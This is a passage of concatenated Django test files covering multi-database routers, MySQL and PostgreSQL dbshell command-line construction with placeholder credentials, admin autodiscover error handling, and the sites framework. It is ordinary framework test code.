        # Same goes for get_or_create, regardless of whether getting or creating
        alice, created = dive.authors.get_or_create(name='Alice')
        self.assertEqual(alice._state.db, 'default')

        bob, created = dive.authors.get_or_create(name='Bob')
        self.assertEqual(bob._state.db, 'default')

    def test_o2o_cross_database_protection(self):
        "Operations that involve sharing FK objects across databases raise an error"
        # Create a user and profile on the default database
        alice = User.objects.db_manager('default').create_user('alice', 'alice@example.com')

        # Create a user and profile on the other database
        bob = User.objects.db_manager('other').create_user('bob', 'bob@example.com')

        # Set a one-to-one relation with an object from a different database
        alice_profile = UserProfile.objects.create(user=alice, flavor='chocolate')
        bob.userprofile = alice_profile

        # Database assignments of original objects haven't changed...
        self.assertEqual(alice._state.db, 'default')
        self.assertEqual(alice_profile._state.db, 'default')
        self.assertEqual(bob._state.db, 'other')

        # ... but they will when the affected object is saved.
        bob.save()
        self.assertEqual(bob._state.db, 'default')

    def test_generic_key_cross_database_protection(self):
        "Generic Key operations can span databases if they share a source"
        # Create a book and author on the default database
        pro = Book.objects.using(
            'default').create(title="Pro Django", published=datetime.date(2008, 12, 16))

        review1 = Review.objects.using(
            'default').create(source="Python Monthly", content_object=pro)

        # Create a book and author on the other database
        dive = Book.objects.using(
            'other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))

        review2 = Review.objects.using(
            'other').create(source="Python Weekly", content_object=dive)

        # Set a generic foreign key with an object from a different database
        review1.content_object = dive

        # Database assignments of original objects haven't changed...
        self.assertEqual(pro._state.db, 'default')
        self.assertEqual(review1._state.db, 'default')
        self.assertEqual(dive._state.db, 'other')
        self.assertEqual(review2._state.db, 'other')

        # ... but they will when the affected object is saved.
        dive.save()
        self.assertEqual(review1._state.db, 'default')
        self.assertEqual(dive._state.db, 'default')

        # ...and the source database now has a copy of any object saved
        Book.objects.using('default').get(title='Dive into Python').delete()

        # This isn't a real primary/replica database, so restore the original from other
        dive = Book.objects.using('other').get(title='Dive into Python')
        self.assertEqual(dive._state.db, 'other')

        # Add to a generic foreign key set with an object from a different database
        dive.reviews.add(review1)

        # Database assignments of original objects haven't changed...
        self.assertEqual(pro._state.db, 'default')
        self.assertEqual(review1._state.db, 'default')
        self.assertEqual(dive._state.db, 'other')
        self.assertEqual(review2._state.db, 'other')

        # ... but they will when the affected object is saved.
        dive.save()
        self.assertEqual(dive._state.db, 'default')

        # ...and the source database now has a copy of any object saved
        Book.objects.using('default').get(title='Dive into Python').delete()

        # BUT! if you assign a FK object when the base object hasn't
        # been saved yet, you implicitly assign the database for the
        # base object.
        review3 = Review(source="Python Daily")
        # initially, no db assigned
        self.assertIsNone(review3._state.db)

        # Dive comes from 'other', so review3 is set to use the source of 'other'...
        review3.content_object = dive
        self.assertEqual(review3._state.db, 'default')

        # If you create an object through a M2M relation, it will be
        # written to the write database, even if the original object
        # was on the read database
        dive = Book.objects.using('other').get(title='Dive into Python')
        nyt = dive.reviews.create(source="New York Times", content_object=dive)
        self.assertEqual(nyt._state.db, 'default')

    def test_m2m_managers(self):
        "M2M relations are represented by managers, and can be controlled like managers"
        pro = Book.objects.using('other').create(pk=1, title="Pro Django",
                                                 published=datetime.date(2008, 12, 16))

        marty = Person.objects.using('other').create(pk=1, name="Marty Alchin")

        self.assertEqual(pro.authors.db, 'other')
        self.assertEqual(pro.authors.db_manager('default').db, 'default')
        self.assertEqual(pro.authors.db_manager('default').all().db, 'default')

        self.assertEqual(marty.book_set.db, 'other')
        self.assertEqual(marty.book_set.db_manager('default').db, 'default')
        self.assertEqual(marty.book_set.db_manager('default').all().db, 'default')

    def test_foreign_key_managers(self):
        "FK reverse relations are represented by managers, and can be controlled like managers"
        marty = Person.objects.using('other').create(pk=1, name="Marty Alchin")
        Book.objects.using('other').create(pk=1, title="Pro Django",
                                           published=datetime.date(2008, 12, 16),
                                           editor=marty)

        self.assertEqual(marty.edited.db, 'other')
        self.assertEqual(marty.edited.db_manager('default').db, 'default')
        self.assertEqual(marty.edited.db_manager('default').all().db, 'default')

    def test_generic_key_managers(self):
        "Generic key relations are represented by managers, and can be controlled like managers"
        pro = Book.objects.using('other').create(title="Pro Django",
                                                 published=datetime.date(2008, 12, 16))

        Review.objects.using('other').create(source="Python Monthly",
                                             content_object=pro)

        self.assertEqual(pro.reviews.db, 'other')
        self.assertEqual(pro.reviews.db_manager('default').db, 'default')
        self.assertEqual(pro.reviews.db_manager('default').all().db, 'default')

    def test_subquery(self):
        """Make sure as_sql works with subqueries and primary/replica."""
        # Create a book and author on the other database

        mark = Person.objects.using('other').create(name="Mark Pilgrim")
        Book.objects.using('other').create(title="Dive into Python",
                                           published=datetime.date(2009, 5, 4),
                                           editor=mark)

        sub = Person.objects.filter(name='Mark Pilgrim')
        qs = Book.objects.filter(editor__in=sub)

        # When you call __str__ on the query object, it doesn't know about using
        # so it falls back to the default. Don't let routing instructions
        # force the subquery to an incompatible database.
        str(qs.query)

        # If you evaluate the query, it should work, running on 'other'
        self.assertEqual(list(qs.values_list('title', flat=True)), ['Dive into Python'])

    def test_deferred_models(self):
        mark_def = Person.objects.using('default').create(name="Mark Pilgrim")
        mark_other = Person.objects.using('other').create(name="Mark Pilgrim")
        orig_b = Book.objects.using('other').create(title="Dive into Python",
                                                    published=datetime.date(2009, 5, 4),
                                                    editor=mark_other)
        b = Book.objects.using('other').only('title').get(pk=orig_b.pk)
        self.assertEqual(b.published, datetime.date(2009, 5, 4))
        b = Book.objects.using('other').only('title').get(pk=orig_b.pk)
        b.editor = mark_def
        b.save(using='default')
        self.assertEqual(Book.objects.using('default').get(pk=b.pk).published,
                         datetime.date(2009, 5, 4))


@override_settings(DATABASE_ROUTERS=[AuthRouter()])
class AuthTestCase(TestCase):
    multi_db = True

    def test_auth_manager(self):
        "The methods on the auth manager obey database hints"
        # Create one user using default allocation policy
        User.objects.create_user('alice', 'alice@example.com')

        # Create another user, explicitly specifying the database
        User.objects.db_manager('default').create_user('bob', 'bob@example.com')

        # The second user only exists on the other database
        alice = User.objects.using('other').get(username='alice')

        self.assertEqual(alice.username, 'alice')
        self.assertEqual(alice._state.db, 'other')

        with self.assertRaises(User.DoesNotExist):
            User.objects.using('default').get(username='alice')

        # The second user only exists on the default database
        bob = User.objects.using('default').get(username='bob')

        self.assertEqual(bob.username, 'bob')
        self.assertEqual(bob._state.db, 'default')

        with self.assertRaises(User.DoesNotExist):
            User.objects.using('other').get(username='bob')

        # That is... there is one user on each database
        self.assertEqual(User.objects.using('default').count(), 1)
        self.assertEqual(User.objects.using('other').count(), 1)

    def test_dumpdata(self):
        "Check that dumpdata honors allow_migrate restrictions on the router"
        User.objects.create_user('alice', 'alice@example.com')
        User.objects.db_manager('default').create_user('bob', 'bob@example.com')

        # Check that dumping the default database doesn't try to include auth
        # because allow_migrate prohibits auth on default
        new_io = StringIO()
        management.call_command('dumpdata', 'auth', format='json', database='default', stdout=new_io)
        command_output = new_io.getvalue().strip()
        self.assertEqual(command_output, '[]')

        # Check that dumping the other database does include auth
        new_io = StringIO()
        management.call_command('dumpdata', 'auth', format='json', database='other', stdout=new_io)
        command_output = new_io.getvalue().strip()
        self.assertIn('"email": "alice@example.com"', command_output)


class AntiPetRouter(object):
    # A router that only expresses an opinion on migrate,
    # passing pets to the 'other' database

    def allow_migrate(self, db, app_label, model_name=None, **hints):
        if db == 'other':
            return model_name == 'pet'
        else:
            return model_name != 'pet'


class FixtureTestCase(TestCase):
    multi_db = True
    fixtures = ['multidb-common', 'multidb']

    @override_settings(DATABASE_ROUTERS=[AntiPetRouter()])
    def test_fixture_loading(self):
        "Multi-db fixtures are loaded correctly"
        # Check that "Pro Django" exists on the default database, but not on other database
        Book.objects.get(title="Pro Django")
        Book.objects.using('default').get(title="Pro Django")

        with self.assertRaises(Book.DoesNotExist):
            Book.objects.using('other').get(title="Pro Django")

        # Check that "Dive into Python" exists on the default database, but not on other database
        Book.objects.using('other').get(title="Dive into Python")

        with self.assertRaises(Book.DoesNotExist):
            Book.objects.get(title="Dive into Python")
        with self.assertRaises(Book.DoesNotExist):
            Book.objects.using('default').get(title="Dive into Python")

        # Check that "Definitive Guide" exists on the both databases
        Book.objects.get(title="The Definitive Guide to Django")
        Book.objects.using('default').get(title="The Definitive Guide to Django")
        Book.objects.using('other').get(title="The Definitive Guide to Django")

    @override_settings(DATABASE_ROUTERS=[AntiPetRouter()])
    def test_pseudo_empty_fixtures(self):
        """
        A fixture can contain entries, but lead to nothing in the database;
        this shouldn't raise an error (#14068).
        """
        new_io = StringIO()
        management.call_command('loaddata', 'pets', stdout=new_io, stderr=new_io)
        command_output = new_io.getvalue().strip()
        # No objects will actually be loaded
        self.assertEqual(command_output, "Installed 0 object(s) (of 2) from 1 fixture(s)")


class PickleQuerySetTestCase(TestCase):
    multi_db = True

    def test_pickling(self):
        for db in connections:
            Book.objects.using(db).create(title='Dive into Python', published=datetime.date(2009, 5, 4))
            qs = Book.objects.all()
            self.assertEqual(qs.db, pickle.loads(pickle.dumps(qs)).db)


class DatabaseReceiver(object):
    """
    Used in the tests for the database argument in signals (#13552)
    """
    def __call__(self, signal, sender, **kwargs):
        self._database = kwargs['using']


class WriteToOtherRouter(object):
    """
    A router that sends all writes to the other database.
    """
    def db_for_write(self, model, **hints):
        return "other"


class SignalTests(TestCase):
    multi_db = True

    def override_router(self):
        return override_settings(DATABASE_ROUTERS=[WriteToOtherRouter()])

    def test_database_arg_save_and_delete(self):
        """
        Tests that the pre/post_save signal contains the correct database.
        (#13552)
        """
        # Make some signal receivers
        pre_save_receiver = DatabaseReceiver()
        post_save_receiver = DatabaseReceiver()
        pre_delete_receiver = DatabaseReceiver()
        post_delete_receiver = DatabaseReceiver()
        # Make model and connect receivers
        signals.pre_save.connect(sender=Person, receiver=pre_save_receiver)
        signals.post_save.connect(sender=Person, receiver=post_save_receiver)
        signals.pre_delete.connect(sender=Person, receiver=pre_delete_receiver)
        signals.post_delete.connect(sender=Person, receiver=post_delete_receiver)
        p = Person.objects.create(name='Darth Vader')
        # Save and test receivers got calls
        p.save()
        self.assertEqual(pre_save_receiver._database, DEFAULT_DB_ALIAS)
        self.assertEqual(post_save_receiver._database, DEFAULT_DB_ALIAS)
        # Delete, and test
        p.delete()
        self.assertEqual(pre_delete_receiver._database, DEFAULT_DB_ALIAS)
        self.assertEqual(post_delete_receiver._database, DEFAULT_DB_ALIAS)
        # Save again to a different database
        p.save(using="other")
        self.assertEqual(pre_save_receiver._database, "other")
        self.assertEqual(post_save_receiver._database, "other")
        # Delete, and test
        p.delete(using="other")
        self.assertEqual(pre_delete_receiver._database, "other")
        self.assertEqual(post_delete_receiver._database, "other")

        signals.pre_save.disconnect(sender=Person, receiver=pre_save_receiver)
        signals.post_save.disconnect(sender=Person, receiver=post_save_receiver)
        signals.pre_delete.disconnect(sender=Person, receiver=pre_delete_receiver)
        signals.post_delete.disconnect(sender=Person, receiver=post_delete_receiver)

    def test_database_arg_m2m(self):
        """
        Test that the m2m_changed signal has a correct database arg (#13552)
        """
        # Make a receiver
        receiver = DatabaseReceiver()
        # Connect it
        signals.m2m_changed.connect(receiver=receiver)

        # Create the models that will be used for the tests
        b = Book.objects.create(title="Pro Django",
                                published=datetime.date(2008, 12, 16))
        p = Person.objects.create(name="Marty Alchin")

        # Create a copy of the models on the 'other' database to prevent
        # integrity errors on backends that don't defer constraints checks
        Book.objects.using('other').create(pk=b.pk, title=b.title,
                                           published=b.published)
        Person.objects.using('other').create(pk=p.pk, name=p.name)

        # Test addition
        b.authors.add(p)
        self.assertEqual(receiver._database, DEFAULT_DB_ALIAS)
        with self.override_router():
            b.authors.add(p)
        self.assertEqual(receiver._database, "other")

        # Test removal
        b.authors.remove(p)
        self.assertEqual(receiver._database, DEFAULT_DB_ALIAS)
        with self.override_router():
            b.authors.remove(p)
        self.assertEqual(receiver._database, "other")

        # Test addition in reverse
        p.book_set.add(b)
        self.assertEqual(receiver._database, DEFAULT_DB_ALIAS)
        with self.override_router():
            p.book_set.add(b)
        self.assertEqual(receiver._database, "other")

        # Test clearing
        b.authors.clear()
        self.assertEqual(receiver._database, DEFAULT_DB_ALIAS)
        with self.override_router():
            b.authors.clear()
        self.assertEqual(receiver._database, "other")


class AttributeErrorRouter(object):
    "A router to test the exception handling of ConnectionRouter"
    def db_for_read(self, model, **hints):
        raise AttributeError

    def db_for_write(self, model, **hints):
        raise AttributeError


class RouterAttributeErrorTestCase(TestCase):
    multi_db = True

    def override_router(self):
        return override_settings(DATABASE_ROUTERS=[AttributeErrorRouter()])

    def test_attribute_error_read(self):
        "Check that the AttributeError from AttributeErrorRouter bubbles up"
        b = Book.objects.create(title="Pro Django",
                                published=datetime.date(2008, 12, 16))
        with self.override_router():
            with self.assertRaises(AttributeError):
                Book.objects.get(pk=b.pk)

    def test_attribute_error_save(self):
        "Check that the AttributeError from AttributeErrorRouter bubbles up"
        dive = Book()
        dive.title = "Dive into Python"
        dive.published = datetime.date(2009, 5, 4)
        with self.override_router():
            with self.assertRaises(AttributeError):
                dive.save()

    def test_attribute_error_delete(self):
        "Check that the AttributeError from AttributeErrorRouter bubbles up"
        b = Book.objects.create(title="Pro Django",
                                published=datetime.date(2008, 12, 16))
        p = Person.objects.create(name="Marty Alchin")
        b.authors.set([p])
        b.editor = p
        with self.override_router():
            with self.assertRaises(AttributeError):
                b.delete()

    def test_attribute_error_m2m(self):
        "Check that the AttributeError from AttributeErrorRouter bubbles up"
        b = Book.objects.create(title="Pro Django",
                                published=datetime.date(2008, 12, 16))
        p = Person.objects.create(name="Marty Alchin")
        with self.override_router():
            with self.assertRaises(AttributeError):
                b.authors.set([p])


class ModelMetaRouter(object):
    "A router to ensure model arguments are real model classes"
    def db_for_write(self, model, **hints):
        if not hasattr(model, '_meta'):
            raise ValueError


@override_settings(DATABASE_ROUTERS=[ModelMetaRouter()])
class RouterModelArgumentTestCase(TestCase):
    multi_db = True

    def test_m2m_collection(self):
        b = Book.objects.create(title="Pro Django",
                                published=datetime.date(2008, 12, 16))

        p = Person.objects.create(name="Marty Alchin")
        # test add
        b.authors.add(p)
        # test remove
        b.authors.remove(p)
        # test clear
        b.authors.clear()
        # test setattr
        b.authors.set([p])
        # test M2M collection
        b.delete()

    def test_foreignkey_collection(self):
        person = Person.objects.create(name='Bob')
        Pet.objects.create(owner=person, name='Wart')
        # test related FK collection
        person.delete()


class SyncOnlyDefaultDatabaseRouter(object):
    def allow_migrate(self, db, app_label, **hints):
        return db == DEFAULT_DB_ALIAS


class MigrateTestCase(TestCase):

    available_apps = [
        'multiple_database',
        'django.contrib.auth',
        'django.contrib.contenttypes'
    ]
    multi_db = True

    def test_migrate_to_other_database(self):
        """Regression test for #16039: migrate with --database option."""
        cts = ContentType.objects.using('other').filter(app_label='multiple_database')

        count = cts.count()
        self.assertGreater(count, 0)

        cts.delete()
        management.call_command('migrate', verbosity=0, interactive=False, database='other')
        self.assertEqual(cts.count(), count)

    def test_migrate_to_other_database_with_router(self):
        """Regression test for #16039: migrate with --database option."""
        cts = ContentType.objects.using('other').filter(app_label='multiple_database')

        cts.delete()
        with override_settings(DATABASE_ROUTERS=[SyncOnlyDefaultDatabaseRouter()]):
            management.call_command('migrate', verbosity=0, interactive=False, database='other')

        self.assertEqual(cts.count(), 0)


class RouterUsed(Exception):
    WRITE = 'write'

    def __init__(self, mode, model, hints):
        self.mode = mode
        self.model = model
        self.hints = hints


class RouteForWriteTestCase(TestCase):
    multi_db = True

    class WriteCheckRouter(object):
        def db_for_write(self, model, **hints):
            raise RouterUsed(mode=RouterUsed.WRITE, model=model, hints=hints)

    def override_router(self):
        return override_settings(DATABASE_ROUTERS=[RouteForWriteTestCase.WriteCheckRouter()])

    def test_fk_delete(self):
        owner = Person.objects.create(name='Someone')
        pet = Pet.objects.create(name='fido', owner=owner)
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                pet.owner.delete()
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Person)
        self.assertEqual(e.hints, {'instance': owner})

    def test_reverse_fk_delete(self):
        owner = Person.objects.create(name='Someone')
        to_del_qs = owner.pet_set.all()
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                to_del_qs.delete()
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Pet)
        self.assertEqual(e.hints, {'instance': owner})

    def test_reverse_fk_get_or_create(self):
        owner = Person.objects.create(name='Someone')
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                owner.pet_set.get_or_create(name='fido')
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Pet)
        self.assertEqual(e.hints, {'instance': owner})

    def test_reverse_fk_update(self):
        owner = Person.objects.create(name='Someone')
        Pet.objects.create(name='fido', owner=owner)
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                owner.pet_set.update(name='max')
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Pet)
        self.assertEqual(e.hints, {'instance': owner})

    def test_m2m_add(self):
        auth = Person.objects.create(name='Someone')
        book = Book.objects.create(title="Pro Django",
                                   published=datetime.date(2008, 12, 16))
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                book.authors.add(auth)
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Book.authors.through)
        self.assertEqual(e.hints, {'instance': book})

    def test_m2m_clear(self):
        auth = Person.objects.create(name='Someone')
        book = Book.objects.create(title="Pro Django",
                                   published=datetime.date(2008, 12, 16))
        book.authors.add(auth)
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                book.authors.clear()
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Book.authors.through)
        self.assertEqual(e.hints, {'instance': book})

    def test_m2m_delete(self):
        auth = Person.objects.create(name='Someone')
        book = Book.objects.create(title="Pro Django",
                                   published=datetime.date(2008, 12, 16))
        book.authors.add(auth)
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                book.authors.all().delete()
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Person)
        self.assertEqual(e.hints, {'instance': book})

    def test_m2m_get_or_create(self):
        Person.objects.create(name='Someone')
        book = Book.objects.create(title="Pro Django",
                                   published=datetime.date(2008, 12, 16))
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                book.authors.get_or_create(name='Someone else')
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Book)
        self.assertEqual(e.hints, {'instance': book})

    def test_m2m_remove(self):
        auth = Person.objects.create(name='Someone')
        book = Book.objects.create(title="Pro Django",
                                   published=datetime.date(2008, 12, 16))
        book.authors.add(auth)
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                book.authors.remove(auth)
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Book.authors.through)
        self.assertEqual(e.hints, {'instance': book})

    def test_m2m_update(self):
        auth = Person.objects.create(name='Someone')
        book = Book.objects.create(title="Pro Django",
                                   published=datetime.date(2008, 12, 16))
        book.authors.add(auth)
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                book.authors.all().update(name='Different')
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Person)
        self.assertEqual(e.hints, {'instance': book})

    def test_reverse_m2m_add(self):
        auth = Person.objects.create(name='Someone')
        book = Book.objects.create(title="Pro Django",
                                   published=datetime.date(2008, 12, 16))
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                auth.book_set.add(book)
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Book.authors.through)
        self.assertEqual(e.hints, {'instance': auth})

    def test_reverse_m2m_clear(self):
        auth = Person.objects.create(name='Someone')
        book = Book.objects.create(title="Pro Django",
                                   published=datetime.date(2008, 12, 16))
        book.authors.add(auth)
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                auth.book_set.clear()
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Book.authors.through)
        self.assertEqual(e.hints, {'instance': auth})

    def test_reverse_m2m_delete(self):
        auth = Person.objects.create(name='Someone')
        book = Book.objects.create(title="Pro Django",
                                   published=datetime.date(2008, 12, 16))
        book.authors.add(auth)
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                auth.book_set.all().delete()
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Book)
        self.assertEqual(e.hints, {'instance': auth})

    def test_reverse_m2m_get_or_create(self):
        auth = Person.objects.create(name='Someone')
        Book.objects.create(title="Pro Django",
                            published=datetime.date(2008, 12, 16))
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                auth.book_set.get_or_create(title="New Book", published=datetime.datetime.now())
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Person)
        self.assertEqual(e.hints, {'instance': auth})

    def test_reverse_m2m_remove(self):
        auth = Person.objects.create(name='Someone')
        book = Book.objects.create(title="Pro Django",
                                   published=datetime.date(2008, 12, 16))
        book.authors.add(auth)
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                auth.book_set.remove(book)
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Book.authors.through)
        self.assertEqual(e.hints, {'instance': auth})

    def test_reverse_m2m_update(self):
        auth = Person.objects.create(name='Someone')
        book = Book.objects.create(title="Pro Django",
                                   published=datetime.date(2008, 12, 16))
        book.authors.add(auth)
        with self.assertRaises(RouterUsed) as cm:
            with self.override_router():
                auth.book_set.all().update(title='Different')
        e = cm.exception
        self.assertEqual(e.mode, RouterUsed.WRITE)
        self.assertEqual(e.model, Book)
        self.assertEqual(e.hints, {'instance': auth})












from django.db.backends.mysql.client import DatabaseClient
from django.test import SimpleTestCase


class MySqlDbshellCommandTestCase(SimpleTestCase):

    def test_fails_with_keyerror_on_incomplete_config(self):
        with self.assertRaises(KeyError):
            self.get_command_line_arguments({})

    def test_basic_params_specified_in_settings(self):
        self.assertEqual(
            ['mysql', '--user=someuser', '--password=somepassword',
             '--host=somehost', '--port=444', 'somedbname'],
            self.get_command_line_arguments({
                'NAME': 'somedbname',
                'USER': 'someuser',
                'PASSWORD': 'somepassword',
                'HOST': 'somehost',
                'PORT': 444,
                'OPTIONS': {},
            }))

    def test_options_override_settings_proper_values(self):
        settings_port = 444
        options_port = 555
        self.assertNotEqual(settings_port, options_port, 'test pre-req')
        self.assertEqual(
            ['mysql', '--user=optionuser', '--password=optionpassword',
             '--host=optionhost', '--port={}'.format(options_port), 'optiondbname'],
            self.get_command_line_arguments({
                'NAME': 'settingdbname',
                'USER': 'settinguser',
                'PASSWORD': 'settingpassword',
                'HOST': 'settinghost',
                'PORT': settings_port,
                'OPTIONS': {
                    'db': 'optiondbname',
                    'user': 'optionuser',
                    'passwd': 'optionpassword',
                    'host': 'optionhost',
                    'port': options_port,
                },
            }))

    def test_can_connect_using_sockets(self):
        self.assertEqual(
            ['mysql', '--user=someuser', '--password=somepassword',
             '--socket=/path/to/mysql.socket.file', 'somedbname'],
            self.get_command_line_arguments({
                'NAME': 'somedbname',
                'USER': 'someuser',
                'PASSWORD': 'somepassword',
                'HOST': '/path/to/mysql.socket.file',
                'PORT': None,
                'OPTIONS': {},
            }))

    def test_ssl_certificate_is_added(self):
        self.assertEqual(
            ['mysql', '--user=someuser', '--password=somepassword',
             '--host=somehost', '--port=444', '--ssl-ca=sslca', 'somedbname'],
            self.get_command_line_arguments({
                'NAME': 'somedbname',
                'USER': 'someuser',
                'PASSWORD': 'somepassword',
                'HOST': 'somehost',
                'PORT': 444,
                'OPTIONS': {'ssl': {'ca': 'sslca'}},
            }))

    def get_command_line_arguments(self, connection_settings):
        return DatabaseClient.settings_to_cmd_args(connection_settings)






# -*- coding: utf8 -*-
from __future__ import unicode_literals

import locale
import os

from django.db.backends.postgresql.client import DatabaseClient
from django.test import SimpleTestCase, mock
from django.utils import six
from django.utils.encoding import force_bytes, force_str


class PostgreSqlDbshellCommandTestCase(SimpleTestCase):

    def _run_it(self, dbinfo):
        """
        That function invokes the runshell command, while mocking
        subprocess.call. It returns a 2-tuple with:
        - The command line list
        - The binary content of file pointed by environment PGPASSFILE, or
          None.
        """
        def _mock_subprocess_call(*args):
            self.subprocess_args = list(*args)
            if 'PGPASSFILE' in os.environ:
                with open(os.environ['PGPASSFILE'], 'rb') as f:
                    self.pgpass = f.read().strip()  # ignore line endings
            else:
                self.pgpass = None
            return 0
        self.subprocess_args = None
        self.pgpass = None
        with mock.patch('subprocess.call', new=_mock_subprocess_call):
            DatabaseClient.runshell_db(dbinfo)
        return self.subprocess_args, self.pgpass

    def test_basic(self):
        self.assertEqual(
            self._run_it({
                'database': 'dbname',
                'user': 'someuser',
                'password': 'somepassword',
                'host': 'somehost',
                'port': '444',
            }), (
                ['psql', '-U', 'someuser', '-h', 'somehost', '-p', '444', 'dbname'],
                b'somehost:444:dbname:someuser:somepassword',
            )
        )

    def test_nopass(self):
        self.assertEqual(
            self._run_it({
                'database': 'dbname',
                'user': 'someuser',
                'host': 'somehost',
                'port': '444',
            }), (
                ['psql', '-U', 'someuser', '-h', 'somehost', '-p', '444', 'dbname'],
                None,
            )
        )

    def test_column(self):
        self.assertEqual(
            self._run_it({
                'database': 'dbname',
                'user': 'some:user',
                'password': 'some:password',
                'host': '::1',
                'port': '444',
            }), (
                ['psql', '-U', 'some:user', '-h', '::1', '-p', '444', 'dbname'],
                b'\\:\\:1:444:dbname:some\\:user:some\\:password',
            )
        )

    def test_escape_characters(self):
        self.assertEqual(
            self._run_it({
                'database': 'dbname',
                'user': 'some\\user',
                'password': 'some\\password',
                'host': 'somehost',
                'port': '444',
            }), (
                ['psql', '-U', 'some\\user', '-h', 'somehost', '-p', '444', 'dbname'],
                b'somehost:444:dbname:some\\\\user:some\\\\password',
            )
        )

    def test_accent(self):
        # The pgpass temporary file needs to be encoded using the system locale.
        encoding = locale.getpreferredencoding()
        username = 'rôle'
        password = 'sésame'
        try:
            username_str = force_str(username, encoding)
            password_str = force_str(password, encoding)
            pgpass_bytes = force_bytes(
                'somehost:444:dbname:%s:%s' % (username, password),
                encoding=encoding,
            )
        except UnicodeEncodeError:
            if six.PY2:
                self.skipTest("Your locale can't run this test.")
        self.assertEqual(
            self._run_it({
                'database': 'dbname',
                'user': username_str,
                'password': password_str,
                'host': 'somehost',
                'port': '444',
            }), (
                ['psql', '-U', username_str, '-h', 'somehost', '-p', '444', 'dbname'],
                pgpass_bytes,
            )
        )






from django.db import models


class Story(models.Model):
    title = models.CharField(max_length=10)






from django.contrib import admin

from .models import Story

admin.site.register(Story)
raise Exception("Bad admin module")












from unittest import TestCase

from django.contrib import admin


class AdminAutoDiscoverTests(TestCase):
    """
    Test for bug #8245 - don't raise an AlreadyRegistered exception when using
    autodiscover() and an admin.py module contains an error.
    """
    def test_double_call_autodiscover(self):
        # The first time autodiscover is called, we should get our real error.
        with self.assertRaises(Exception) as cm:
            admin.autodiscover()
        self.assertEqual(str(cm.exception), "Bad admin module")

        # Calling autodiscover again should raise the very same error it did
        # the first time, not an AlreadyRegistered error.
        with self.assertRaises(Exception) as cm:
            admin.autodiscover()
        self.assertEqual(str(cm.exception), "Bad admin module")












from __future__ import unicode_literals

from django.apps import apps
from django.apps.registry import Apps
from django.conf import settings
from django.contrib.sites import models
from django.contrib.sites.management import create_default_site
from django.contrib.sites.middleware import CurrentSiteMiddleware
from django.contrib.sites.models import Site, clear_site_cache
from django.contrib.sites.requests import RequestSite
from django.contrib.sites.shortcuts import get_current_site
from django.core.exceptions import ObjectDoesNotExist, ValidationError
from django.db.models.signals import post_migrate
from django.http import HttpRequest, HttpResponse
from django.test import TestCase, modify_settings, override_settings
from django.test.utils import captured_stdout


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.sites'})
class SitesFrameworkTests(TestCase):
    multi_db = True

    def setUp(self):
        self.site = Site(
            id=settings.SITE_ID,
            domain="example.com",
            name="example.com",
        )
        self.site.save()

    def tearDown(self):
        Site.objects.clear_cache()

    def test_site_manager(self):
        # Make sure that get_current() does not return a deleted Site object.
        s = Site.objects.get_current()
        self.assertIsInstance(s, Site)
        s.delete()
        with self.assertRaises(ObjectDoesNotExist):
            Site.objects.get_current()

    def test_site_cache(self):
        # After updating a Site object (e.g. via the admin), we shouldn't return a
        # bogus value from the SITE_CACHE.
        site = Site.objects.get_current()
        self.assertEqual("example.com", site.name)
        s2 = Site.objects.get(id=settings.SITE_ID)
        s2.name = "Example site"
        s2.save()
        site = Site.objects.get_current()
        self.assertEqual("Example site", site.name)

    def test_delete_all_sites_clears_cache(self):
        # When all site objects are deleted the cache should also
        # be cleared and get_current() should raise a DoesNotExist.
        self.assertIsInstance(Site.objects.get_current(), Site)
        Site.objects.all().delete()
        with self.assertRaises(Site.DoesNotExist):
            Site.objects.get_current()

    @override_settings(ALLOWED_HOSTS=['example.com'])
    def test_get_current_site(self):
        # Test that the correct Site object is returned
        request = HttpRequest()
        request.META = {
            "SERVER_NAME": "example.com",
            "SERVER_PORT": "80",
        }
        site = get_current_site(request)
        self.assertIsInstance(site, Site)
        self.assertEqual(site.id, settings.SITE_ID)

        # Test that an exception is raised if the sites framework is installed
        # but there is no matching Site
        site.delete()
        with self.assertRaises(ObjectDoesNotExist):
            get_current_site(request)

        # A RequestSite is returned if the sites framework is not installed
        with self.modify_settings(INSTALLED_APPS={'remove': 'django.contrib.sites'}):
            site = get_current_site(request)
